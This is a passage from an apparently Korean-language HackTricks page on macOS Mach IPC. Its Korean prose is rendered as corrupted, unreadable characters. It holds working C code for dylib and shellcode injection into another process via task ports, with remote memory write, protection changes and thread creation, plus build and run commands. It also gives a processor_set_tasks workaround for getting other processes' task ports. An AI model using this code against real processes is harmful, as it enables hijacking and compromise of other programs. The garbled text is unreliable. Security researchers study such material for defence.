if (memcmp(possiblePatchLocation, βDLOPEN__β, 6) == 0) { printf (βDLOpen @%llx\nβ, addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }
if (memcmp(possiblePatchLocation, βLIBLIBLIBβ, 9) == 0) { strcpy(possiblePatchLocation, lib ); } }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to write remote thread memory: Error %s\nβ, mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to set memory permissions for remote threadβs code: Error %s\nβ, mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to set memory permissions for remote threadβs stack: Error %s\nβ, mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, β\0β, sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf (βRemote Stack 64 0x%llx, Remote code is %p\nβ, remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to create remote thread: error %sβ, mach_error_string (kr)); return (-3); }
return (0); }
int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, βUsage: %s pid action\nβ, argv[0]); fprintf (stderr, β action: path to a dylib on disk\nβ); exit(0); }
pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf;
int rc = stat (action, &buf); if (rc == 0) inject(pid,action); else { fprintf(stderr,βDylib not found\nβ); }
}
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Thread Hijacking via Task port
μ΄ κΈ°μ μμλ νλ‘μΈμ€μ μ€λ λκ° νμ΄μ¬νΉλ©λλ€:
macOS Thread Injection via Task port
Task Port Injection Detection
task_for_pid λλ thread_create_*λ₯Ό νΈμΆν λ 컀λμ struct taskμμ μΉ΄μ΄ν°κ° μ¦κ°νλ©°, μ΄λ μ¬μ©μ λͺ¨λμμ task_info(task, TASK_EXTMOD_INFO, β¦)λ₯Ό νΈμΆνμ¬ μ κ·Όν μ μμ΅λλ€.
Exception Ports
μ€λ λμμ μμΈκ° λ°μνλ©΄ μ΄ μμΈλ μ€λ λμ μ§μ λ μμΈ ν¬νΈλ‘ μ μ‘λ©λλ€. μ€λ λκ° μ΄λ₯Ό μ²λ¦¬νμ§ μμΌλ©΄ μμ μμΈ ν¬νΈλ‘ μ μ‘λ©λλ€. μμ μ΄ μ΄λ₯Ό μ²λ¦¬νμ§ μμΌλ©΄ νΈμ€νΈ ν¬νΈλ‘ μ μ‘λλ©°, μ΄λ launchdμ μν΄ κ΄λ¦¬λ©λλ€(μ¬κΈ°μ μΈμλ©λλ€). μ΄λ₯Ό μμΈ λΆλ₯λΌκ³ ν©λλ€.
λ³΄ν΅ μ μ ν μ²λ¦¬λμ§ μμΌλ©΄ λ³΄κ³ μλ ReportCrash λ°λͺ¬μ μν΄ μ²λ¦¬λ©λλ€. κ·Έλ¬λ κ°μ μμ
μ λ€λ₯Έ μ€λ λκ° μμΈλ₯Ό κ΄λ¦¬ν μ μμΌλ©°, μ΄κ²μ΄ PLCreashReporterμ κ°μ ν¬λμ λ³΄κ³ λκ΅¬κ° νλ μΌμ
λλ€.
Other Objects
Clock
λͺ¨λ μ¬μ©μλ μκ³μ λν μ 보λ₯Ό μ κ·Όν μ μμ§λ§, μκ°μ μ€μ νκ±°λ λ€λ₯Έ μ€μ μ μμ νλ €λ©΄ λ£¨νΈ κΆνμ΄ νμν©λλ€.
μ 보λ₯Ό μ»κΈ° μν΄ clock μλΈμμ€ν
μ ν¨μμΈ clock_get_time, clock_get_attributtes λλ clock_alarmμ νΈμΆν μ μμ΅λλ€.
κ°μ μμ νκΈ° μν΄ clock_priv μλΈμμ€ν
μ μ¬μ©νμ¬ clock_set_time λ° clock_set_attributesμ κ°μ ν¨μλ₯Ό μ¬μ©ν μ μμ΅λλ€.
Processors and Processor Set
νλ‘μΈμ APIλ processor_start, processor_exit, processor_info, processor_get_assignmentμ κ°μ ν¨μλ₯Ό νΈμΆνμ¬ λ¨μΌ λ
Όλ¦¬ νλ‘μΈμλ₯Ό μ μ΄ν μ μκ² ν΄μ€λλ€.
κ²λ€κ°, νλ‘μΈμ μΈνΈ APIλ μ¬λ¬ νλ‘μΈμλ₯Ό κ·Έλ£ΉμΌλ‘ λ¬Άλ λ°©λ²μ μ 곡ν©λλ€. κΈ°λ³Έ νλ‘μΈμ μΈνΈλ₯Ό κ²μνλ €λ©΄ **processor_set_default**λ₯Ό νΈμΆνλ©΄ λ©λλ€.
νλ‘μΈμ μΈνΈμ μνΈμμ©νκΈ° μν λͺ κ°μ§ ν₯λ―Έλ‘μ΄ APIλ λ€μκ³Ό κ°μ΅λλ€:
processor_set_statisticsprocessor_set_tasks: νλ‘μΈμ μΈνΈ λ΄μ λͺ¨λ μμ μ λν μ μ‘ κΆν λ°°μ΄μ λ°νν©λλ€.processor_set_threads: νλ‘μΈμ μΈνΈ λ΄μ λͺ¨λ μ€λ λμ λν μ μ‘ κΆν λ°°μ΄μ λ°νν©λλ€.processor_set_stack_usageprocessor_set_info
μ΄ κ²μλ¬Όμμ μΈκΈνλ―μ΄, κ³Όκ±°μλ μ΄ κΈ°λ₯μ μ¬μ©νμ¬ λ€λ₯Έ νλ‘μΈμ€μ μμ
ν¬νΈλ₯Ό μ»κ³ **processor_set_tasks**λ₯Ό νΈμΆνμ¬ μ΄λ₯Ό μ μ΄ν μ μμμ΅λλ€.
νμ¬λ μ΄ κΈ°λ₯μ μ¬μ©νλ €λ©΄ λ£¨νΈ κΆνμ΄ νμνλ©°, 보νΈλμ΄ μμ΄ λ³΄νΈλμ§ μμ νλ‘μΈμ€μμλ§ μ΄λ¬ν ν¬νΈλ₯Ό μ»μ μ μμ΅λλ€.
λ€μκ³Ό κ°μ΄ μλν΄ λ³Ό μ μμ΅λλ€:
processor_set_tasks code
````c // Maincpart fo the code from https://newosxbook.com/articles/PST2.html //gcc ./port_pid.c -o port_pid#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/sysctl.h> #include <libproc.h> #include <mach/mach.h> #include <errno.h> #include <string.h> #include <mach/exception_types.h> #include <mach/mach_host.h> #include <mach/host_priv.h> #include <mach/processor_set.h> #include <mach/mach_init.h> #include <mach/mach_port.h> #include <mach/vm_map.h> #include <mach/task.h> #include <mach/task_info.h> #include <mach/mach_traps.h> #include <mach/mach_error.h> #include <mach/thread_act.h> #include <mach/thread_info.h> #include <mach-o/loader.h> #include <mach-o/nlist.h> #include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid) {
host_t myhost = mach_host_self(); // host self is host priv if youβre root anyway.. mach_port_t psDefault; mach_port_t psDefault_control;
task_array_t tasks; mach_msg_type_number_t numTasks; int i;
thread_array_t threads; thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, βhost_processor_set_priv failed with error %x\nβ, kr); mach_error(βhost_processor_set_privβ,kr); exit(1);}
printf(βSo far so good\nβ);
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,βprocessor_set_tasks failed with error %x\nβ,kr); exit(1); }
for (i = 0; i < numTasks; i++) { int pid; pid_for_task(tasks[i], &pid); printf(βTASK %d PID :%d\nβ, i,pid); char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { printf(βCommand line: %s\nβ, pathbuf); } else { printf(βproc_pidpath failed: %s\nβ, strerror(errno)); } if (pid == Pid){ printf(βFound\nβ); return (tasks[i]); } }
return (MACH_PORT_NULL); } // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, βUsage: %s
pid_t pid = atoi(argv[1]); if (pid <= 0) { fprintf(stderr, βInvalid PID. Please enter a numeric value greater than 0.\nβ); return 1; }*/
int pid = 1;
task_for_pid_workaround(pid); return 0; }
XPC
Basic Information
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. Itβs a part of Appleβs security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.
For more information about how this communication work on how it could be vulnerable check:
MIG - Mach Interface Generator
MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the serverβ¦).
MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
For more info check:
macOS MIG - Mach Interface Generator
References
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- *OS Internals, Volume I, User Mode, Jonathan Levin
- https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


